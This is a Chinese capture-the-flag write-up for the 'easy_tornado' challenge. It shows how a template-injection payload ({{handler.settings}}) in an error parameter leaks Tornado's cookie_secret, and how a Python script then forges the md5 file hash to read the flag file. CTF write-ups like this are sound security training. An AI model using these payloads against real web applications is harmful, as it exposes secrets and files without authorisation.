[护网杯 2018]easy_tornado1 write up
[护网杯 2018]easy_tornado1 write up
本题所需知识点:SSTI、文件包含
1 题解
点开题目,发现有3个链接
分别点开三个链接
file?filename=/flag.txt&filehash=5cb650c67b3f3eb1c3382db985cba60d
file?/filename=/welcome.txt&filehash=453823f83be22fbffa0f5ba9f7e7e8ba
file?filename=/hints.txt&filehash=60fa05c4aee970c0ac37c763f48d27c7
发现存在文件包含漏洞,尝试将flag.txt换成/fllllllllllllag
error?msg=Error
filename参数改变,filehash也要随之改变,filehash = md5(cookie_secret+md5(filename)),filename有了,就差个cookie_secret
百度搜索下tornado,Tornado是一个基于Python的Web服务框架和异步网络库,看了后端语言是python了
然后就无思路了ORZ。。。。搜索相关资料得知,error?msg=Error这里存在SSTI,主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。
由welcome.txt的render也能得知,render是python的一个渲染函数,服务端在响应 http 请求的时候,去向模板中渲染数据,可以把视图响应给客户端,验证了SSTI的猜测。
构造链接
error?msg={{123}}
输出123
构造
error?msg={{123}}
输出ORZ
构造
error?msg={{datetime}}
输出
由文档tornado.web — RequestHandler 和 Application 类 — Tornado 4.3 文档和
tornado.web — RequestHandler and Application classes — Tornado 6.2.dev1 documentation和
Templates and UI — Tornado 6.2.dev1 documentation
得知,cookie_secret保存在settings里,handler是别名,指向RequestHandler而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了。
构造payload
error?msg={{handler.settings}}
不过这里我有疑问,将payload中的handler.settings换成self.application.settings或RequestHandler.application.settings的话,会报错,希望有大佬来解答。
获取到cookie_secret
编写python脚本获取filehash,也可以手工在加密网站上加密。
import hashlib
filename = '/fllllllllllllag'
cook = '5fe3f801-8c1f-447c-a1b2-efb8319d3c18'
m_filename = hashlib.md5(filename.encode())
mm = hashlib.md5((cook + m_filename.hexdigest()).encode())
print(m_filename.hexdigest())
print(mm.hexdigest())
构造payload
file?filename=/fllllllllllllag&filehash=72c9671d69dd7a9db1eb2417ad96108e
成功获取flag
2 总结
我认为题目的难点在于要掌握SSTI,并且要掌握如何利用。此类题需要多积累,有的时候就是现学现卖,因为模板不一定是见过的,需要找文档,像这次就找资料找了好久。